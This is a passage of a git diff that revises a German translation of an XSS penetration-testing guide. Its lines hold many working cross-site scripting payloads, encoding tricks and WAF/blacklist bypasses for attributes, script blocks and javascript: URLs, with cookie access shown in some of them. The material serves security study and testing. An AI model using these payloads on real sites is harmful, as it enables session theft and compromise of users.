@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -28,7 +28,7 @@ Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare h
|
|||
2. Können Sie den String escapen und unterschiedlichen JS-Code ausführen?
|
||||
3. Befinden sich Ihre Eingaben in Template-Literals \`\`?
|
||||
4. Können Sie Schutzmechanismen umgehen?
|
||||
4. Der **JavaScript-Code**, der **ausgeführt** wird
|
||||
4. Der **JavaScript-Code**, der **ausgeführt wird**
|
||||
1. Sie können den Namen der auszuführenden Funktion angeben. z. B.: `?callback=alert(1)`
|
||||
4. Wenn **verwendet** wird:
|
||||
1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird**.
|
||||
|
@ -43,7 +43,7 @@ Bei der Arbeit an einem komplexen XSS könnte es interessant sein zu wissen:
|
|||
|
||||
Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **von Ihnen kontrollierten Wert finden, der im Webseiteninhalt reflektiert wird**.
|
||||
|
||||
* **Zwischengespeichert und reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine **Reflektierte XSS** ausnutzen.
|
||||
* **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar des Pfads im Webseiteninhalt reflektiert wird, könnten Sie eine **Reflektierte XSS** ausnutzen.
|
||||
* **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Gespeicherte XSS** ausnutzen.
|
||||
* **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert mithilfe von JS abgerufen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||
|
||||
|
@ -53,15 +53,15 @@ Beim Versuch, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe
|
|||
|
||||
### Rohes HTML
|
||||
|
||||
Wenn Ihre Eingabe auf der **rohen HTML**-Seite reflektiert wird, müssen Sie missbrauchen einige **HTML-Tags**, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Wenn Ihre Eingabe auf der **rohen HTML**-Seite reflektiert wird, müssen Sie versuchen, einige **HTML-Tags** zu missbrauchen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||
Denken Sie auch an [Client-seitige Template-Injektion](../client-side-template-injection-csti.md).
|
||||
|
||||
### Innerhalb von Attributen von HTML-Tags
|
||||
|
||||
Wenn Ihre Eingabe innerhalb des Werts des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
|
||||
Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
|
||||
|
||||
1. **Aus dem Attribut und dem Tag auszubrechen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zum Missbrauch erstellen: `"><img [...]`
|
||||
2. Wenn Sie **aus dem Attribut, aber nicht aus dem Tag ausbrechen können** (`>` ist codiert oder gelöscht), je nach Tag könnten Sie ein **Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
1. Aus dem Attribut und dem Tag **auszubrechen** (dann befinden Sie sich im rohen HTML) und ein neues HTML-Tag zum Missbrauch erstellen: `"><img [...]`
|
||||
2. Wenn Sie **aus dem Attribut, aber nicht aus dem Tag, ausbrechen können** (`>` ist codiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||
3. Wenn Sie **nicht aus dem Attribut ausbrechen können** (`"` wird codiert oder gelöscht), dann je nach **welchem Attribut** Ihre Eingabe reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil, könnten Sie es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie beliebigen Code ausführen, wenn darauf geklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie den **`accesskey`**-Trick versuchen, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
|
@ -69,8 +69,8 @@ Wenn Ihre Eingabe innerhalb des Werts des Attributs eines Tags reflektiert wird,
|
|||
|
||||
In diesem Fall wird Ihre Eingabe zwischen den **`<script> [...] </script>`**-Tags einer HTML-Seite, innerhalb einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
|
||||
|
||||
* Wenn zwischen den **`<script> [...] </script>`**-Tags reflektiert wird, selbst wenn Ihre Eingabe in Anführungszeichen steht, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** und dann den Inhalt analysiert, daher wird er nicht bemerken, dass Ihr eingefügtes `</script>`-Tag im HTML-Code steht.
|
||||
* Wenn **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie aus dem String **ausbrechen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler vorliegt, wird er nicht ausgeführt:
|
||||
* Wenn zwischen den **`<script> [...] </script>`**-Tags reflektiert wird, selbst wenn Ihre Eingabe in Anführungszeichen steht, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext auszubrechen. Dies funktioniert, weil der **Browser zuerst die HTML-Tags analysiert** und dann den Inhalt, daher wird er nicht bemerken, dass Ihr eingefügtes `</script>`-Tag im HTML-Code steht.
|
||||
* Wenn innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie aus dem String **heraus**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler vorliegt, wird er nicht ausgeführt:
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -92,15 +92,15 @@ Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen o
|
|||
|
||||
### Javascript Funktion
|
||||
|
||||
Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man im Internet sieht, ist etwas wie: `?callback=callbackFunc`.
|
||||
Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man häufig sieht, ist etwas wie: `?callback=callbackFunc`.
|
||||
|
||||
Ein guter Weg, um herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, **den Parametervalue zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern wie diesen zu suchen:
|
||||
Ein guter Weg, um herauszufinden, ob etwas, das direkt vom Benutzer bereitgestellt wird, versucht wird, ausgeführt zu werden, besteht darin, **den Parametewert zu ändern** (zum Beispiel in 'Vulnerable') und in der Konsole nach Fehlern wie diesen zu suchen:
|
||||
|
||||
![](<../../.gitbook/assets/image (651) (2).png>)
|
||||
|
||||
Falls es anfällig ist, könnten Sie in der Lage sein, **einen Alarm auszulösen**, indem Sie einfach den Wert senden: **`?callback=alert(1)`**. Es ist jedoch sehr häufig, dass diese Endpunkte den Inhalt **validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**).
|
||||
|
||||
Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf **beliebige Elemente im DOM zuzugreifen**:
|
||||
Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen auszuführen. Dies liegt daran, dass Sie diese gültigen Zeichen verwenden können, um auf jedes Element im DOM zuzugreifen:
|
||||
|
||||
![](<../../.gitbook/assets/image (662).png>)
|
||||
|
||||
|
@ -132,7 +132,7 @@ Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte
|
|||
|
||||
### **Universal XSS**
|
||||
|
||||
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **beliebiger JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erhalten, **beliebige Dateien** auf Clients und Servern zu **lesen** und mehr.\
|
||||
Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art von **beliebiger JavaScript-Ausführung** kann sogar missbraucht werden, um **RCE** zu erlangen, **beliebige Dateien** auf Clients und Servern zu **lesen** und mehr.\
|
||||
Einige **Beispiele**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -143,13 +143,13 @@ Einige **Beispiele**:
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## WAF-Bypass-Codierungsbild
|
||||
## WAF-Bypass-Codierung von Bildern
|
||||
|
||||
![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
|
||||
|
||||
## Einfügen innerhalb von rohem HTML
|
||||
## Einfügen innerhalb von Roh-HTML
|
||||
|
||||
Wenn deine Eingabe **innerhalb der HTML-Seite reflektiert** wird oder du HTML-Code in diesem Kontext entkommen und einfügen kannst, ist das **erste**, was du tun musst, zu überprüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, **diesen** **Zeichen** zu reflektieren und prüfe, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **ohne Änderungen reflektiert** wird. **Nur in letzterem Fall wirst du diese Schwachstelle ausnutzen können**.\
|
||||
Wenn deine Eingabe **innerhalb der HTML-Seite reflektiert** wird oder du HTML-Code in diesem Kontext entkommen und einfügen kannst, ist das **erste**, was du tun musst, zu überprüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, **diesen** **Zeichen** zu reflektieren und prüfe, ob er **HTML-codiert** oder **gelöscht** wird oder ob er **ohne Änderungen reflektiert** wird. **Nur in letzterem Fall wirst du diese Schwachstelle ausnutzen können**.\
|
||||
In solchen Fällen solltest du auch an [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken**.\
|
||||
_**Hinweis: Ein HTML-Kommentar kann mit**** ****`-->`**** ****oder**** ****`--!>`**_ geschlossen werden.
|
||||
|
||||
|
@ -161,13 +161,13 @@ In diesem Fall und wenn keine Black- oder Whitelisting verwendet wird, könntest
|
|||
```
|
||||
Aber wenn Tags/Attribut-Blacklisting/Whitelisting verwendet wird, müssen Sie **brute-force, welche Tags** Sie erstellen können. Sobald Sie **festgestellt haben, welche Tags erlaubt sind**, müssen Sie **brute-force Attribute/Events** innerhalb der gefundenen gültigen Tags, um zu sehen, wie Sie den Kontext angreifen können.
|
||||
|
||||
### Tags/Events brute-force
|
||||
### Tags/Events Brute-Force
|
||||
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Events brute-forcen**, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf _**Events in Zwischenablage kopieren**_ klicken und das gleiche Verfahren wie zuvor befolgen).
|
||||
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob von der WAF keine Tags als bösartig erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Events brute-forcen**, indem Sie die gültigen Tags verwenden (auf derselben Webseite auf _**Events in Zwischenablage kopieren**_ klicken und das gleiche Verfahren wie zuvor befolgen).
|
||||
|
||||
### Benutzerdefinierte Tags
|
||||
|
||||
Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, **einen benutzerdefinierten Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite auf dieses Objekt zu **fokussieren** und den Code **auszuführen**:
|
||||
Wenn Sie keinen gültigen HTML-Tag gefunden haben, könnten Sie versuchen, **einen benutzerdefinierten Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite **auf dieses Objekt zu fokussieren** und den Code **auszuführen**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -226,7 +226,7 @@ onerror=alert`1`
|
|||
### Längenbypass (kleine XSSs)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Weitere winzige XSS für verschiedene Umgebungen** Payload [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
**Weitere winzige XSS für verschiedene Umgebungen** Payload [**findest du hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -240,11 +240,11 @@ Um zu überprüfen, welche Zeichen dekomponiert sind, schauen Sie [hier](https:/
|
|||
|
||||
### Klick XSS - Clickjacking
|
||||
|
||||
Wenn Sie die **Benutzer dazu bringen müssen, auf einen Link oder ein Formular** mit vorab ausgefüllten Daten zu klicken, könnten Sie versuchen, **Clickjacking zu missbrauchen** (wenn die Seite anfällig ist).
|
||||
Wenn Sie die **Benutzer dazu bringen müssen, auf einen Link oder ein Formular** mit vorab ausgefüllten Daten zu klicken, könnten Sie versuchen, das [**Clickjacking zu missbrauchen**](../clickjacking.md#xss-clickjacking) (wenn die Seite anfällig ist).
|
||||
|
||||
### Unmöglich - Dangling Markup
|
||||
|
||||
Wenn Sie einfach denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zum Ausführen von JS-Code zu erstellen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) überprüfen, da Sie die Schwachstelle **ohne** Ausführung von **JS**-Code **ausnutzen** könnten.
|
||||
Wenn Sie einfach denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut zum Ausführen von JS-Code zu erstellen**, sollten Sie [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) überprüfen, da Sie die Schwachstelle **ohne** Ausführen von **JS**-Code **ausnutzen** könnten.
|
||||
|
||||
## Einfügen innerhalb eines HTML-Tags
|
||||
|
||||
|
@ -268,12 +268,12 @@ Wenn Sie **nicht aus dem Tag ausbrechen können**, könnten Sie neue Attribute i
|
|||
```
|
||||
### Innerhalb des Attributes
|
||||
|
||||
Auch wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird codiert oder gelöscht), je nach **welchem Attribut** Ihr Wert reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil davon, können Sie es missbrauchen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie beliebigen Code ausführen lassen, wenn darauf geklickt wird.\
|
||||
Auch wenn Sie **nicht aus dem Attribut entkommen können** (`"` wird codiert oder gelöscht), je nach **welchem Attribut** Ihr Wert reflektiert wird, ob Sie den gesamten Wert kontrollieren oder nur einen Teil davon, können Sie es missbrauchen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn darauf geklickt wird.\
|
||||
Ein weiteres interessantes **Beispiel** ist das Attribut `href`, bei dem Sie das Protokoll `javascript:` verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Umgehung innerhalb des Ereignisses unter Verwendung von HTML-Codierung/URL-Codierung**
|
||||
|
||||
Die **HTML-codierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher wird etwas wie das Folgende gültig sein (der Payload ist fett markiert): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück gehen </a>`
|
||||
Die **HTML-codierten Zeichen** innerhalb des Werts von HTML-Tag-Attributen werden **zur Laufzeit decodiert**. Daher wird etwas wie das Folgende gültig sein (das Payload ist fett markiert): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück gehen </a>`
|
||||
|
||||
Beachten Sie, dass **jede Art von HTML-Codierung gültig ist**:
|
||||
```javascript
|
||||
|
@ -302,7 +302,7 @@ Beachten Sie, dass **jede Art von HTML-Codierung gültig ist**:
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Besondere Protokolle innerhalb des Attributes
|
||||
### Spezielle Protokolle innerhalb des Attributes
|
||||
|
||||
Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **beliebigen JS-Code auszuführen**. Bei einigen ist eine Benutzerinteraktion erforderlich, bei anderen nicht.
|
||||
```javascript
|
||||
|
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Orte, an denen Sie diese Protokolle einfügen können**
|
||||
|
||||
**Im Allgemeinen** kann das `javascript:`-Protokoll in jedem Tag verwendet werden, das das Attribut `href` akzeptiert, und in den meisten Tags, die das Attribut `src` akzeptieren (aber nicht `<img`)
|
||||
Im Allgemeinen kann das `javascript:`-Protokoll in jedem Tag verwendet werden, das das Attribut `href` akzeptiert, und in den meisten Tags, die das Attribut `src` akzeptieren (aber nicht `<img`).
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -352,17 +352,17 @@ _**In diesem Fall sind auch die HTML-Codierung und der Unicode-Codierungstrick a
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihr Eingabe innerhalb von `javascript:...` URL-codiert wird, wird es vor der Ausführung URL-decodiert.** Wenn Sie also aus dem **String** mit einem **einfachen Anführungszeichen** entkommen müssen und feststellen, dass **es URL-codiert wird**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einfaches Anführungszeichen** interpretiert.
|
||||
Darüber hinaus gibt es noch einen **guten Trick** für diese Fälle: **Auch wenn Ihr Eingabe innerhalb von `javascript:...` URL-codiert wird, wird es vor der Ausführung URL-decodiert.** Wenn Sie also aus dem **String** mit einem **einfachen Anführungszeichen** entkommen müssen und sehen, dass **es URL-codiert wird**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einfaches Anführungszeichen** interpretiert.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Beachten Sie, dass wenn Sie versuchen, sowohl `URLencode + HTMLencode` in beliebiger Reihenfolge zu verwenden, um das **Payload** zu codieren, wird es nicht funktionieren, aber Sie können sie innerhalb des Payloads mischen.
|
||||
Beachten Sie, dass, wenn Sie sowohl `URLencode + HTMLencode` in beliebiger Reihenfolge verwenden, um das **Payload** zu codieren, es **nicht funktioniert**, aber Sie können sie **innerhalb des Payloads mischen**.
|
||||
|
||||
**Verwendung von Hex- und Oktalcodierung mit `javascript:`**
|
||||
|
||||
Sie können **Hex** und **Oktalcodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zur Ausführung von JS** zu deklarieren:
|
||||
Sie können **Hex-** und **Oktalcodierung** im `src`-Attribut von `iframe` (mindestens) verwenden, um **HTML-Tags zur Ausführung von JS zu deklarieren**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -384,10 +384,10 @@ Wenn Sie eine beliebige URL in einem beliebigen **`<a href=`** Tag einfügen kö
|
|||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### zum Umgehen von Ereignisbehandlern
|
||||
### zum Event-Handler-Bypass
|
||||
|
||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Ereignisbehandler**.\
|
||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignisbehandler zu erstellen, können Sie die folgenden Umgehungen versuchen:
|
||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Event-Handler**.\
|
||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Event-Handler zu erstellen, können Sie die folgenden Bypässe versuchen:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -404,7 +404,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS in "Nicht ausnutzbare Tags" (versteckte Eingabe, Link, kanonisch, Meta)
|
||||
|
||||
Von [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, versteckte Eingaben zu missbrauchen mit:**
|
||||
Von [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, versteckte Eingaben zu missbrauchen:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -425,7 +425,7 @@ Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie
|
|||
|
||||
### Umgehen von Blacklists
|
||||
|
||||
Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in diesem Abschnitt aufgedeckt. Gehen Sie **zurück, um zu lernen, wo Sie verwenden können:**
|
||||
Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in diesem Abschnitt aufgedeckt. Gehe **zurück, um zu lernen, wo du verwenden kannst:**
|
||||
|
||||
* **HTML-Codierung (HTML-Tags)**
|
||||
* **Unicode-Codierung (kann gültiger JS-Code sein):** `\u0061lert(1)`
|
||||
|
@ -435,19 +435,19 @@ Es wurden bereits mehrere Tricks mit der Verwendung verschiedener Codierungen in
|
|||
|
||||
**Umgehungen für HTML-Tags und Attribute**
|
||||
|
||||
Lesen Sie die [Blacklist-Umgehungen des vorherigen Abschnitts](./#blacklist-bypasses).
|
||||
Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](./#blacklist-bypasses).
|
||||
|
||||
**Umgehungen für JavaScript-Code**
|
||||
|
||||
Lesen Sie die [JavaScript-Umgehungen der Blacklist des folgenden Abschnitts](./#javascript-bypass-blacklists-techniques).
|
||||
Lies die [JavaScript-Umgehungen der Blacklist im folgenden Abschnitt](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Wenn Sie eine **XSS in einem sehr kleinen Teil** der Website gefunden haben, der eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), können Sie versuchen, **den Platz zu ändern, den das Element einnimmt**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||
Wenn du eine **XSS in einem sehr kleinen Teil** der Website gefunden hast, der irgendeine Art von Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Platz zu ändern, den das Element einnimmt**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||
|
||||
Zum Beispiel könnten Sie dem Element einige Styles hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Zum Beispiel könntest du dem Element einige Styles hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Aber wenn die WAF das style-Attribut filtert, können Sie CSS-Styling-Gadgets verwenden. Wenn Sie beispielsweise Folgendes finden:
|
||||
Aber wenn die WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du beispielsweise Folgendes findest
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -455,7 +455,7 @@ und
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Können Sie nun unseren Link modifizieren und ihn in die Form bringen:
|
||||
Kannst du jetzt unseren Link modifizieren und ihn in die Form bringen
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -463,19 +463,19 @@ Dieser Trick stammt von [https://medium.com/@skavans\_/improving-the-impact-of-a
|
|||
|
||||
## Einfügen innerhalb des JavaScript-Codes
|
||||
|
||||
In diesem Fall wird Ihr **Input** im JS-Code einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
|
||||
In diesem Fall wird dein **Input** im JS-Code einer `.js`-Datei reflektiert oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren.
|
||||
|
||||
### Escapen des \<script>-Tags
|
||||
|
||||
Wenn Ihr Code innerhalb von `<script> [...] var input = 'reflektierte Daten' [...] </script>` eingefügt wird, könnten Sie einfach das Schließen des `<script>`-Tags **escapen**:
|
||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflektierte Daten' [...] </script>` eingefügt wird, könntest du einfach das Schließen des `<script>`-Tags **escapen**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass zuerst das **HTML-Parsing vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen einschließt, einschließlich der Scriptblöcke. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, wird erst danach durchgeführt.
|
||||
Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass zuerst das **HTML-Parsing vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen einschließt, einschließlich Blöcken von Skripten. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, wird erst danach durchgeführt.
|
||||
|
||||
### Innerhalb des JS-Codes
|
||||
|
||||
Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entkommen lassen**, wo Ihre Eingabe **platziert ist** und **beliebiges JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da bei Fehlern der JS-Code nicht ausgeführt wird:
|
||||
Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entkommen lassen**, wo sich Ihre Eingabe **befindet** und **beliebiges JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da bei Fehlern der JS-Code nicht ausgeführt wird:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -484,7 +484,7 @@ Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entko
|
|||
### Vorlagenliterale \`\`
|
||||
|
||||
Um **Zeichenfolgen** neben einfachen und doppelten Anführungszeichen zu konstruieren, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Vorlagenliterale bezeichnet, da sie es ermöglichen, **eingebettete JS-Ausdrücke** mit der Syntax `${ ... }` zu verwenden.\
|
||||
